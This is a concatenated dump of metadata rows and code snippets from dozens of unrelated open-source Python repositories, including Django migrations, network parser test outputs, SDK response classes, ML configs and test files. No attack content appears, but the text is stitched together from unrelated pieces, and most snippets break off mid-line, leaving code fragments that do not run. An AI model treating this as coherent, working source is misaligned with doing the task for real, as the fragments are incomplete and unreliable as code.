Python
UTF-8
Python
false
false
18,065
py
test_DayNightMask.py
# -*- coding: utf-8 -*- # ----------------------------------------------------------------------------- # (C) British Crown copyright. The Met Office. # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are me...
de9936507f521a751952bf94d6977ff55527a309
4feb5744ab5a26aeeb04573e4944d2bf4d1a6a2a
/peeringdb_server/migrations/0045_fac_rencode_null_out.py
43a915af4880e123018770a4659a8d5e6b3f6ec0
[ "BSD-2-Clause" ]
permissive
peeringdb/peeringdb
cb79f809c4bb8cc5192180366df1f05d8fc0111f
3f62b2d97c78ccf151fb1a5761637e28463b9541
refs/heads/master
2023-09-04T09:26:43.741086
2023-08-22T19:20:34
2023-08-22T19:20:34
60,563,174
311
121
BSD-2-Clause
2023-09-13T02:13:42
2016-06-06T21:49:25
Python
UTF-8
Python
false
false
497
py
0045_fac_rencode_null_out.py
# Generated by Django 2.2.13 on 2020-07-02 19:36 from django.db import migrations def null_rencode(apps, schema_editor): Facility = apps.get_model("peeringdb_server", "Facility") for fac in Facility.handleref.all(): if fac.rencode: fac.rencode = "" fac.save() class Migratio...
3abe3e3fe0274c6bf00be1ef42f0a48c8b016d2e
5ef6c8d47864f471e26b9902d61f8c687e941f05
/src/genie/libs/parser/ios/tests/ShowMplsLdpCapabilities/cli/equal/golden_output_all_expected.py
4cd8502956f2c9c610443b18d4ae333bf7351057
[ "Apache-2.0" ]
permissive
CiscoTestAutomation/genieparser
169c196558f1c1a0f0d10650876096f993224917
b531eff760b2e44cd69d7a2716db6f866907c239
refs/heads/master
2023-09-03T08:56:18.831340
2023-08-29T22:32:02
2023-08-29T22:32:02
131,621,824
247
409
Apache-2.0
2023-08-29T22:32:04
2018-04-30T16:51:50
Python
UTF-8
Python
false
false
311
py
golden_output_all_expected.py
expected_output = { "ldp_capabilities": { "iccp_type": "0x0405", "mldp_multipoint_to_multipoint": "0x0509", "dynamic_anouncement": "0x0506", "typed_wildcard": "0x050B", "maj_version": 1, "mldp_point_to_multipoint": "0x0508", "min_version": 0, } }
29b398239de6d4ab89ce5c7446fcc32e031fce13
3a6a211ea0d32405497fbd6486c490bb147e25f9
/dashboard/dashboard/pinpoint/dispatcher.py
be40d3ee333d143e8a979efd38ca636c36671054
[ "BSD-3-Clause" ]
permissive
catapult-project/catapult
e2cbdd5eb89f3b1492fc8752494e62ea1df4bae0
53102de187a48ac2cfc241fef54dcbc29c453a8e
refs/heads/main
2021-05-25T07:37:22.832505
2021-05-24T08:01:49
2021-05-25T06:07:38
33,947,548
2,032
742
BSD-3-Clause
2022-08-26T16:01:18
2015-04-14T17:49:05
HTML
UTF-8
Python
false
false
2,072
py
dispatcher.py
# Copyright 2016 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """Dispatches requests to request handler classes.""" from __future__ import print_function from __future__ import division from __future__ import absolute_im...
40d12f6eb8249cdfe4469a915f07e5a00204f67e
5a52ccea88f90dd4f1acc2819997fce0dd5ffb7d
/alipay/aop/api/response/KoubeiAdvertDataConfQueryResponse.py
4864fb4bf7555728dcdac477575d3f3b128eaa82
[ "Apache-2.0" ]
permissive
alipay/alipay-sdk-python-all
8bd20882852ffeb70a6e929038bf88ff1d1eff1c
1fad300587c9e7e099747305ba9077d4cd7afde9
refs/heads/master
2023-08-27T21:35:01.778771
2023-08-23T07:12:26
2023-08-23T07:12:26
133,338,689
247
70
Apache-2.0
2023-04-25T04:54:02
2018-05-14T09:40:54
Python
UTF-8
Python
false
false
1,870
py
KoubeiAdvertDataConfQueryResponse.py
#!/usr/bin/env python # -*- coding: utf-8 -*- import json from alipay.aop.api.response.AlipayResponse import AlipayResponse from alipay.aop.api.domain.KbadvertChannelTypeResponse import KbadvertChannelTypeResponse from alipay.aop.api.domain.KbadvertCommissionLimit import KbadvertCommissionLimit class KoubeiAdvertDat...
851a524384b836fe6b35692286493b7c258fc3de
927b0170d041bee8aca868e88af19e2b8935f3a3
/tests/__init__.py
102c3ed4545d0963b55cfbd6b0c0837052d86d48
[ "MIT", "CC-BY-4.0", "ODbL-1.0" ]
permissive
adbar/simplemma
f6cdfb1b3f314efac66e1c741cc97fe0a76be3dc
fa1d96469ca601b5249b8d5cbb42c1474cfd83bb
refs/heads/main
2023-08-19T05:09:04.815007
2023-08-02T10:57:50
2023-08-02T10:57:50
330,707,034
102
6
MIT
2023-09-12T17:03:17
2021-01-18T15:22:27
Python
UTF-8
Python
false
false
39
py
__init__.py
"""Unit test package for simplemma."""
09935ba8f34fb00a353cfe63df112c5e8ab2825a
5ef6c8d47864f471e26b9902d61f8c687e941f05
/src/genie/libs/parser/iosxe/tests/ShowIpPimInterfaceDf/cli/equal/golden_output_expected.py
23533da361b8ad9c3c28f0de87b55d8d92731729
[ "Apache-2.0" ]
permissive
CiscoTestAutomation/genieparser
169c196558f1c1a0f0d10650876096f993224917
b531eff760b2e44cd69d7a2716db6f866907c239
refs/heads/master
2023-09-03T08:56:18.831340
2023-08-29T22:32:02
2023-08-29T22:32:02
131,621,824
247
409
Apache-2.0
2023-08-29T22:32:04
2018-04-30T16:51:50
Python
UTF-8
Python
false
false
4,458
py
golden_output_expected.py
expected_output = { "vrf": { "default": { "address_family": { "ipv4": { "rp": { "bidir": { "interface_df_election": { "10.10.0.2 Ethernet3/3": { ...
c8eeff5b1806fcae932d1615f38442817b6e16a3
98810fbf90a42028915a88bfac9fb8cb8681008e
/azure-devops/azext_devops/devops_sdk/v5_0/core/core_client.py
ff9b2f75677687a0af63f0141d64d2c53ddabc8f
[ "MIT", "BSD-3-Clause", "LicenseRef-scancode-free-unknown", "LicenseRef-scancode-unicode", "LGPL-3.0-only", "LicenseRef-scancode-warranty-disclaimer", "PSF-2.0", "PostgreSQL", "LicenseRef-scancode-python-cwi", "LGPL-2.1-or-later", "LicenseRef-scancode-proprietary-license", "LGPL-2.1-only", "C...
permissive
Azure/azure-devops-cli-extension
ba87357a8243e1318f100791fc32acbb59448d05
bd34a6fd0658a15dadf6c09c7f6217ca5ffa662b
refs/heads/master
2023-08-29T10:56:54.228674
2023-07-17T04:37:06
2023-07-17T04:37:06
107,708,057
419
208
MIT
2023-08-02T02:10:10
2017-10-20T17:39:11
Python
UTF-8
Python
false
false
24,344
py
core_client.py
# -------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # -------------------------------------------------------------------...
27df837a92165313839d59db51a64531ec0c0c3b
2bacad06ed143d941bb65a49a6dec91572b22305
/tests/_support/tree/deploy.py
35f749ec79865e8b745b5c8146695c226af13e8b
[ "BSD-2-Clause" ]
permissive
pyinvoke/invoke
86ad280d862dc8f5cb6baf5c0bfba9aeb97fd95d
07b836f2663bb073a7bcef3d6c454e1dc6b867ae
refs/heads/main
2023-09-01T16:04:50.414421
2023-07-12T18:04:56
2023-07-12T18:04:56
3,587,206
3,702
401
BSD-2-Clause
2023-07-11T07:18:40
2012-02-29T23:59:23
Python
UTF-8
Python
false
false
301
py
deploy.py
"How to deploy our code and configs." from invoke import task @task(default=True) def everywhere(c): "Deploy to all targets." pass @task(aliases=["db_servers"]) def db(c): "Deploy to our database servers." pass @task def web(c): "Update and bounce the webservers." pass
1c622384c983eb3e23779db324eb005b2bed8e06
e7f662e18141c11bb452a31b844dd5555cca11dd
/doc/examples/event_related_fmri.py
44cb399129cafcb64ce4fecc5b09096f2f1668a3
[ "BSD-3-Clause" ]
permissive
nipy/nitime
75c7786e17514ecc7045c42760cd42b1c16ca0d6
4411b3047e37d21354e399aaaca77810f50c5fe2
refs/heads/master
2023-06-29T21:13:24.231303
2023-06-15T22:33:13
2023-06-15T22:33:13
294,865
198
69
BSD-3-Clause
2023-08-25T20:49:40
2009-09-02T00:29:57
Python
UTF-8
Python
false
false
4,192
py
event_related_fmri.py
""" .. _et-fmri: ================== Event-related fMRI ================== Extracting the average time-series from one signal, time-locked to the occurrence of some type of event in another signal is a very typical operation in the analysis of time-series from neuroscience experiments. Therefore, we have an additiona...
31c4275e05845abf58061a2907de0749279a5b1b
75f81c32befeccc59b958cf849c777359df68d73
/container/sample-inf1/inf1_mx.py
eeaa72a12bf7e9c9d8b1d3537dc9a129425ee115
[ "Apache-2.0" ]
permissive
neo-ai/neo-ai-dlr
4e20b40235e1be2d44f55b13cec3c15fc42dba2a
457aabf677ed368aa1077093fce4517381e04038
refs/heads/main
2023-06-07T17:21:14.600599
2022-08-26T22:03:40
2022-08-26T22:03:40
161,846,808
490
125
Apache-2.0
2023-05-18T05:38:28
2018-12-14T22:25:31
C++
UTF-8
Python
false
false
2,037
py
inf1_mx.py
import mxnet as mx #import neomxnet import os import json import numpy as np from collections import namedtuple import os dtype='float32' Batch = namedtuple('Batch', ['data']) ctx = mx.neuron() is_gpu = False def model_fn(model_dir): print("param {}".format(os.environ.get('MODEL_NAME_CUSTOM'))) print("ctx {}".form...
8a4ca45ef2d4230b3ae00400c5d5e1cf1fcd0a9d
73305ddcc6dc9775b1e9a71506e2f3c74f678edc
/starthinker/tool/dv.py
3404aff39fa7275fb81cc939724589f55b39e27f
[ "Apache-2.0", "LicenseRef-scancode-warranty-disclaimer" ]
permissive
google/starthinker
ef359557da4140275a8524d0d813eecf022ece9e
b596df09c52511e2e0c0987f6245aa4607190dd0
refs/heads/master
2023-08-25T21:16:45.578012
2023-07-17T22:19:18
2023-07-17T22:20:10
123,017,995
167
64
Apache-2.0
2023-08-02T01:24:51
2018-02-26T19:15:09
Python
UTF-8
Python
false
false
3,271
py
dv.py
########################################################################### # # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/l...
0856a6cedb001ccbb27a5d97abb1d8950c01aa2a
b8d80a23cb27af08a1c4d34b478c76228ae5fbb4
/insights/parsers/ls_disk.py
af5dd78ed078d6d49d369f3ae783a0fcefe3152c
[ "Apache-2.0" ]
permissive
RedHatInsights/insights-core
bb243e2bf8a52446fefb95ebe05478d6e35efe2e
b0ea07fc3f4dd8801b505fe70e9b36e628152c4a
refs/heads/master
2023-09-04T21:15:40.456257
2023-09-04T10:46:56
2023-09-04T10:46:56
92,518,221
144
290
Apache-2.0
2023-09-14T02:40:13
2017-05-26T14:23:11
Python
UTF-8
Python
false
false
3,326
py
ls_disk.py
""" LsDisk - Command ``ls -lanR /dev/disk`` ======================================= The ``ls -lanR /dev/disk`` command provides information for the listing of the directories under ``/dev/disk/`` . Sample input is shown in the Examples. See ``FileListing`` class for additional information. Examples: >>> LS_DISK ...
67dce38f70534e6700f1a55951b4d93e7701a4cb
30674cc03db1e93c0d5a6ff213b528d8ea70bb6a
/luma/core/legacy/__init__.py
3890e8b9718621a27eccd56d18bb7c18813d1dbd
[ "MIT" ]
permissive
rm-hull/luma.core
6df4db6f6886a562dca9eec82e3cc42fe4dd5f98
d871d66644288b788641af0b3a20d3a97583dd70
refs/heads/master
2023-03-04T01:37:36.636573
2023-02-21T07:52:03
2023-02-21T07:52:03
78,548,891
134
61
MIT
2023-09-01T20:59:12
2017-01-10T15:55:14
Python
UTF-8
Python
false
false
3,138
py
__init__.py
# -*- coding: utf-8 -*- # Copyright (c) 2017-18 Richard Hull and contributors # See LICENSE.rst for details. """ These methods were originally present in the old MAX7219 driver, and are preserved here only to aid migration away from that library. The functions are denoted 'legacy' to discourage use - you are encourage...
6e5287763ef247ff6529012446e95c86b8aea3a2
35b6013c1943f37d1428afd2663c8aba0a02628d
/compute/client_library/ingredients/instances/get_serial_port.py
76503c320525b53f67f125c3f1a6bb65f42254ca
[ "Apache-2.0" ]
permissive
GoogleCloudPlatform/python-docs-samples
d2a251805fbeab15d76ed995cf200727f63f887d
44e819e713c3885e38c99c16dc73b7d7478acfe8
refs/heads/main
2023-08-28T12:52:01.712293
2023-08-28T11:18:28
2023-08-28T11:18:28
35,065,876
7,035
7,593
Apache-2.0
2023-09-14T20:20:56
2015-05-04T23:26:13
Jupyter Notebook
UTF-8
Python
false
false
1,831
py
get_serial_port.py
# Copyright 2022 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writ...
e98ba344af68ebaaf1419efa360ef6ba70ec880b
463d49f20a5c0c0851c53d5e16514c265f8910aa
/datausa/core/views.py
f317423382948e6d15cfa8d5674ae76359a0a052
[]
no_license
DataUSA/datausa-api
f6c503680f66b470c77a4ab9f0e7a4643659252f
7288dede082eda07b61e11cf6dc801fe692f6334
refs/heads/master
2022-02-14T00:03:13.241210
2022-01-31T17:16:27
2022-01-31T17:16:27
37,325,775
251
50
null
2022-01-13T13:00:27
2015-06-12T14:13:50
Python
UTF-8
Python
false
false
4,282
py
views.py
from flask import Blueprint, request, jsonify from datausa.attrs.models import Cip, Naics, University from datausa.core import table_manager from datausa.core import api, join_api from datausa.core.models import ApiObject from datausa.core.crosswalker import crosswalk from datausa.util.big_places import is_big_geo from...
f5a3afe0917cd5913b329aed0306274253f961d4
49173bc5a31caa2adf5f304f2f55cc3f5fda452a
/qutip/core/superoperator.py
3ed59fc6231d273c40a41efe1f979ee9de728e9d
[ "BSD-3-Clause" ]
permissive
qutip/qutip
a35e73670501c33898e24fe72bf255f8fb4a6632
2dc5f3f0a6ad2175e6dc015649989125401fc3bf
refs/heads/master
2023-09-01T01:09:53.422153
2023-08-25T14:18:15
2023-08-25T14:18:15
6,136,261
1,489
679
BSD-3-Clause
2023-09-07T14:16:03
2012-10-09T06:20:46
Python
UTF-8
Python
false
false
14,197
py
superoperator.py
__all__ = [ 'liouvillian', 'lindblad_dissipator', 'operator_to_vector', 'vector_to_operator', 'stack_columns', 'unstack_columns', 'stacked_index', 'unstacked_index', 'spost', 'spre', 'sprepost', 'reshuffle', ] import functools import numpy as np from .qobj import Qobj from . import data as _data def _ma...
3f23fafc812d745f5548aad6195b20e15230e3d4
3a6a211ea0d32405497fbd6486c490bb147e25f9
/telemetry/telemetry/internal/actions/javascript_click.py
6fe69707cc515847ed652d8da8bcb9bba618b6d5
[ "BSD-3-Clause" ]
permissive
catapult-project/catapult
e2cbdd5eb89f3b1492fc8752494e62ea1df4bae0
53102de187a48ac2cfc241fef54dcbc29c453a8e
refs/heads/main
2021-05-25T07:37:22.832505
2021-05-24T08:01:49
2021-05-25T06:07:38
33,947,548
2,032
742
BSD-3-Clause
2022-08-26T16:01:18
2015-04-14T17:49:05
HTML
UTF-8
Python
false
false
710
py
javascript_click.py
# Copyright 2014 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. from __future__ import absolute_import from telemetry.internal.actions import page_action class ClickElementAction(page_action.ElementPageAction): def R...
cea1d4ff649fd4a0dbadde515b37d2e5c839e921
b43e0384ec4bfacec2571a2bb41ce563267db449
/jesse/helpers.py
eb5fc27b42024adcd6ece80ea7d05bf1027af2f7
[ "MIT" ]
permissive
jesse-ai/jesse
55b73448b767492a20f8bc56c28306a1a24f8599
fadb03b5fcc06f0655c6a5d877435fb872a97c5e
refs/heads/master
2023-08-24T15:28:52.875208
2023-08-24T13:53:31
2023-08-24T13:53:31
156,847,937
5,259
722
MIT
2023-09-10T13:51:26
2018-11-09T10:38:44
Python
UTF-8
Python
false
false
28,324
py
helpers.py
import hashlib import math import os import random import string import sys import uuid from typing import List, Tuple, Union, Any, Optional from pprint import pprint import arrow import click import numpy import numpy as np CACHED_CONFIG = dict() def app_currency() -> str: from jesse.routes import router re...
ea884c0f7e65b9d06f63cbbed69571c47abf862f
6dfc23ef65e5943712340ef2b4b648cc25ea1fad
/2022/01/03/Creating One-To-Many Relationships in Flask-SQLAlchemy/one_to_many_example/app.py
35befc58a45a94708fb1c0abda0ff9de76e704ad
[ "Unlicense" ]
permissive
PrettyPrinted/youtube_video_code
6d265c910de18d780cdb99f7ea11b8b963929dc2
5654e5feba854d3b41b8dd75218e0221408e7831
refs/heads/master
2023-09-04T21:28:57.386174
2023-08-11T07:07:45
2023-08-11T07:07:45
186,743,986
698
2,347
Unlicense
2022-10-06T04:06:56
2019-05-15T03:40:45
HTML
UTF-8
Python
false
false
627
py
app.py
from flask import Flask from flask_sqlalchemy import SQLAlchemy app = Flask(__name__) app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///db.sqlite3' app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False db = SQLAlchemy(app) class Owner(db.Model): id = db.Column(db.Integer, primary_key=True) name = db.Column(d...
ac856cb469868e6bfd92c040245a4b1218c1e388
db57665fbc6c840b3e0b68d7a2ae6997d2bbb7f3
/ch11-books/books/views.py
5a9e8f2eda506bca213e8184b111e5f911fd0657
[ "MIT" ]
permissive
wsvincent/djangoforprofessionals
4a9de4a8db8017bd704df2129d5a608ed8270380
bb17b5115089140c2ae8a3ef5b27de083851558d
refs/heads/main
2023-08-23T16:21:43.555596
2022-06-02T13:52:11
2022-06-02T13:52:11
178,557,837
597
318
MIT
2023-08-05T00:51:17
2019-03-30T12:49:00
JavaScript
UTF-8
Python
false
false
354
py
views.py
from django.views.generic import ListView, DetailView # new from .models import Book class BookListView(ListView): model = Book context_object_name = "book_list" template_name = "books/book_list.html" class BookDetailView(DetailView): model = Book context_object_name = "book" # new templa...
0a2c1c64d6437a6fa314da43e6dd4c50f8e7464c
c058f51b99f91faebf27183b2b579e9f96e0d8f5
/test/utils/multi_objective/box_decompositions/test_utils.py
bf6b8edfe2deda4a9f730eb05e4e2891df51f586
[ "MIT" ]
permissive
pytorch/botorch
255d62f698cc615c750e9343c278a63c7e96a586
4cc5ed59b2e8a9c780f786830c548e05cc74d53c
refs/heads/main
2023-08-22T15:23:51.071048
2023-08-22T05:30:38
2023-08-22T05:30:38
142,940,093
2,891
373
MIT
2023-09-13T00:16:13
2018-07-30T23:59:57
Jupyter Notebook
UTF-8
Python
false
false
14,167
py
test_utils.py
#! /usr/bin/env python3 # Copyright (c) Meta Platforms, Inc. and affiliates. # # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. from __future__ import annotations import torch from botorch.exceptions.errors import BotorchTensorDimensionError, ...
03f9614f114eb712db6f808cc155f189a6a6507f
0e083f405af00029c9ec31849f0f7f81c56844b5
/configs/mmseg/segmentation_vacc-fp16_static_512x512.py
04de98468eca47da918a0fb72859d58798e372f3
[ "Apache-2.0" ]
permissive
open-mmlab/mmdeploy
39b9e7b611caab2c76a6142fcb99f0bf1d92ad24
5479c8774f5b88d7ed9d399d4e305cb42cc2e73a
refs/heads/main
2023-09-01T21:29:25.315371
2023-08-31T09:59:29
2023-08-31T09:59:29
441,467,833
2,164
605
Apache-2.0
2023-09-14T10:39:04
2021-12-24T13:04:44
Python
UTF-8
Python
false
false
1,187
py
segmentation_vacc-fp16_static_512x512.py
_base_ = ['./segmentation_static.py', '../_base_/backends/vacc.py'] onnx_config = dict(input_shape=[512, 512]) backend_config = dict( common_config=dict( vdsp_params_info=dict( vdsp_op_type=301, iimage_format=5000, iimage_width=512, iimage_height=512, ...
490f544f12dae432c34568098ed41233b2ffb337
eb9f655206c43c12b497c667ba56a0d358b6bc3a
/python/testData/console/indent6.py
6213c78f7a9849b390e12f1531834890edaf79ae
[ "Apache-2.0" ]
permissive
JetBrains/intellij-community
2ed226e200ecc17c037dcddd4a006de56cd43941
05dbd4575d01a213f3f4d69aa4968473f2536142
refs/heads/master
2023-09-03T17:06:37.560889
2023-09-03T11:51:00
2023-09-03T12:12:27
2,489,216
16,288
6,635
Apache-2.0
2023-09-12T07:41:58
2011-09-30T13:33:05
null
UTF-8
Python
false
false
314
py
indent6.py
class Foo: def x(self): b = "x".format("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa") if b: pass
92937eb9d7fbcfd2dee291f604ff49459138f709
0f443b5060644606abb090935bb8fe234378a659
/plotdevice/gfx/image.py
9e3915c52564474355a392c9aeca5ce9fe3c6bed
[ "BSD-3-Clause", "MIT" ]
permissive
plotdevice/plotdevice
6920ae4f11b65c3bd5a7c1d9d21cd0cd3444fd42
63992250982590a5290c0135fb9845581c5ccd89
refs/heads/main
2023-08-28T11:55:18.331183
2022-07-15T19:52:20
2022-07-15T19:52:20
14,907,048
116
17
null
2022-07-10T21:16:19
2013-12-03T21:58:16
JavaScript
UTF-8
Python
false
false
15,615
py
image.py
# encoding: utf-8 import os import re import json import warnings import math from contextlib import contextmanager from urllib.parse import urlparse from ..lib.cocoa import * from plotdevice import DeviceError from ..util import _copy_attrs, autorelease from ..util.readers import HTTP, last_modified from ..lib.io imp...
eabae0aea330a3be51ba8fceeac84d0d57531ac6
9939aab9b0bd1dcf8f37d4ec315ded474076b322
/docs/sphinx/extensions/sphinx-hpx.py
319766809ea62b18c2c2e89fdd04f4d5aacfb8f4
[ "BSL-1.0", "LicenseRef-scancode-free-unknown" ]
permissive
STEllAR-GROUP/hpx
1068d7c3c4a941c74d9c548d217fb82702053379
c435525b4631c5028a9cb085fc0d27012adaab8c
refs/heads/master
2023-08-30T00:46:26.910504
2023-08-29T14:59:39
2023-08-29T14:59:39
4,455,628
2,244
500
BSL-1.0
2023-09-14T13:54:12
2012-05-26T15:02:39
C++
UTF-8
Python
false
false
2,806
py
sphinx-hpx.py
# Copyright (c) 2018 Mikael Simberg # Copyright (c) 2022 Hartmut Kaiser # # SPDX-License-Identifier: BSL-1.0 # Distributed under the Boost Software License, Version 1.0. (See accompanying # file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) from docutils import nodes def setup(app): app.add_rol...
ce17a042134a40896b6eb89dd78572ede7069674
d1f15554df2d5c0f74ddbcba6e870359841f682b
/wagtail/management/commands/move_pages.py
0502f67f8dd6639c57e84f6821fbe6d1fccd6619
[ "BSD-3-Clause", "LicenseRef-scancode-proprietary-license" ]
permissive
wagtail/wagtail
bd405f89b86e0c625fef0685fd6bfba41cf5cbfc
06a7bc6124bf62675c09fbe0a4ed9bbac183e025
refs/heads/main
2023-09-04T06:22:51.601208
2023-09-01T15:22:00
2023-09-01T15:22:00
16,479,108
12,974
3,580
BSD-3-Clause
2023-09-14T10:45:04
2014-02-03T12:41:59
Python
UTF-8
Python
false
false
852
py
move_pages.py
from django.core.management.base import BaseCommand from wagtail.models import Page class Command(BaseCommand): def add_arguments(self, parser): # Positional arguments parser.add_argument("from_id", type=int) parser.add_argument("to_id", type=int) def handle(self, *args, **options): ...
fd40d91faaa35f9bac2dd4a4d152d5a51821e065
e8c76797b194bce6702adf9721a96c2b440efd5c
/test/modules/http2/test_601_h2proxy_twisted.py
60f5f7df5bfdf3081968c544f07aa530017fbfb0
[ "LicenseRef-scancode-unknown-license-reference", "LicenseRef-scancode-public-domain", "Apache-2.0", "LicenseRef-scancode-zeusbench", "BSD-3-Clause", "RSA-MD", "LicenseRef-scancode-rsa-1990", "Beerware", "LicenseRef-scancode-other-permissive", "Spencer-94", "metamail", "LicenseRef-scancode-rsa-...
permissive
apache/httpd
86bfac3d6e2e9b48f5bfca5be7ec616fa9b14e9a
b9e029c8036fd036281ac266010db91aed6079b2
refs/heads/trunk
2023-09-04T07:18:59.681233
2023-08-30T12:56:11
2023-08-30T12:56:11
205,423
3,159
1,329
Apache-2.0
2023-09-11T13:50:41
2009-05-20T02:02:59
C
UTF-8
Python
false
false
4,028
py
test_601_h2proxy_twisted.py
import json import logging import os import pytest from .env import H2Conf, H2TestEnv log = logging.getLogger(__name__) @pytest.mark.skipif(condition=H2TestEnv.is_unsupported, reason="mod_http2 not supported here") class TestH2ProxyTwisted: @pytest.fixture(autouse=True, scope='class') def _class_scope(sel...
dabd728ac22e8f258a09659a33cc2f1e1c198ac7
8f267fe1157904023004aa1fcee8cdcaf1d69f74
/tempest/api/image/v2/test_images.py
977ad82d95616c4a0aab195d8cc1cadc81767180
[ "Apache-2.0" ]
permissive
openstack/tempest
a65737f3e62d4ebeb7e387feac7bcc636d3f5fe0
3932a799e620a20d7abf7b89e21b520683a1809b
refs/heads/master
2023-08-28T15:04:21.241805
2023-08-28T10:16:57
2023-08-28T10:16:57
2,356,406
270
407
Apache-2.0
2022-06-29T15:52:45
2011-09-09T15:56:02
Python
UTF-8
Python
false
false
43,927
py
test_images.py
# Copyright 2013 OpenStack Foundation # Copyright 2013 IBM Corp # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICE...
b8c59cf0b9d7cde58786b8b40f48b2b1024e0ea5
5dc77586e3e0f9de1f032fd2ca68494d8e58928f
/tests/render/test_styled_string_template.py
9039382c2a3f23993d48fbcac2b35850bd050713
[ "Apache-2.0" ]
permissive
great-expectations/great_expectations
dd7c22e6277d6b08bee3ff38a015e6e8cd434df6
b0290e2fd2aa05aec6d7d8871b91cb4478e9501d
refs/heads/develop
2023-09-04T09:30:26.395518
2023-09-02T00:00:13
2023-09-02T00:00:13
103,071,520
8,931
1,535
Apache-2.0
2023-09-14T19:57:16
2017-09-11T00:18:46
Python
UTF-8
Python
false
false
6,046
py
test_styled_string_template.py
import pytest from great_expectations.render.view import DefaultJinjaPageView # module level markers pytestmark = pytest.mark.unit def test_render_template(): assert DefaultJinjaPageView().render_string_template( { "template": "It was the $first_adj of times; it was the $second_adj of times....
cccc1c8ec48d734df5cc623351e5b421cc62422a
dcb823e295bb94de99a89dd4d69314186b9351b2
/bin/__init__.py
b4f7cd0dbf495166363e78600c412b91a4d4cdc1
[ "MIT" ]
permissive
ellisk42/ec
caae2ad9fa7892b2fc456f0d82ee4e3e394ebeb6
cb0e63f5c33cd2de360b791038b0f5272750270e
refs/heads/master
2023-07-05T22:31:26.762022
2022-03-16T17:45:10
2022-03-16T17:45:10
117,295,639
371
137
MIT
2023-02-16T20:24:12
2018-01-12T22:55:36
Slash
UTF-8
Python
false
false
2,583
py
__init__.py
""" EC codebase scripts and executables These scripts should be run from the root of the repository, e.g. python bin/<script> For more usage examples, see the official_figures and official_experiments documents. Module mapping details: TODO: remove module mapping code when backwards-compatibility is no longer ...
0bfce6589940c53a78a5741b6d61ff9461f05e43
0032d988541e85c47b5034c20ecf88220dde5a95
/openbook_moderation/views/moderated_objects/serializers.py
874e22412091ff2067a19f4e22ed8a09428fdb96
[ "MIT", "LicenseRef-scancode-unknown-license-reference" ]
permissive
OkunaOrg/okuna-api
eabd37fef9d2be59b590ed8d72bee084ac377997
f87d8e80d2f182c01dbce68155ded0078ee707e4
refs/heads/master
2022-02-04T21:31:10.577601
2021-12-28T18:20:39
2021-12-28T18:20:39
151,052,951
185
92
MIT
2022-01-13T01:00:40
2018-10-01T07:44:46
Python
UTF-8
Python
false
false
2,113
py
serializers.py
from django.conf import settings from rest_framework import serializers from openbook_communities.validators import community_name_exists, community_name_characters_validator from openbook_moderation.models import ModeratedObject class GetGlobalModeratedObjectsSerializer(serializers.Serializer): max_id = seriali...
232a2418736a182e62f90dece9d5508fd79d1929
e3bb1df7fa4c51900dec7e9ddf5295e1a80938bd
/test/hummingbot/connector/derivative/gate_io_perpetual/test_gate_io_perpetual_utils.py
a27837cd290e6d3b098fe77d94a63725d1ed4c3f
[ "Apache-2.0" ]
permissive
CoinAlpha/hummingbot
0d1e2bd94de1280748647108c7d7800a09546eb8
c3f101759ab7e7a2165cd23a3a3e94c90c642a9b
refs/heads/development
2023-09-01T11:24:43.322137
2023-08-31T03:08:06
2023-08-31T03:08:06
439,330,952
135
98
Apache-2.0
2023-08-30T13:55:08
2021-12-17T12:50:42
Python
UTF-8
Python
false
false
84
py
test_gate_io_perpetual_utils.py
from unittest import TestCase class GateIoPerpetualUtilsTests(TestCase): pass
7b5830bd4a8b16c6fc58e8e5a9532bf1636b83f1
fa1ad2e2ac7e376fc7cb3b3a6e1bb88eed3e80be
/dts/airbyte/airbyte-cdk/python/airbyte_cdk/sources/declarative/parsers/class_types_registry.py
49328c7751c98e324f2425b379f97956bea0e25d
[ "MIT", "Apache-2.0", "BSD-3-Clause", "Elastic-2.0" ]
permissive
alldatacenter/alldata
7bc7713c9f1d56ad6b8e59ea03206d1073b7e047
8d5f9a2d49ab8f9e85ccf058cb02c2fda287afc6
refs/heads/master
2023-08-05T07:32:25.442740
2023-08-03T13:17:24
2023-08-03T13:17:24
213,321,771
774
250
Apache-2.0
2023-09-06T17:35:32
2019-10-07T07:36:18
null
UTF-8
Python
false
false
5,884
py
class_types_registry.py
# # Copyright (c) 2023 Airbyte, Inc., all rights reserved. # from typing import Mapping, Type from airbyte_cdk.sources.declarative.auth.declarative_authenticator import NoAuth from airbyte_cdk.sources.declarative.auth.oauth import DeclarativeOauth2Authenticator from airbyte_cdk.sources.declarative.auth.token import (...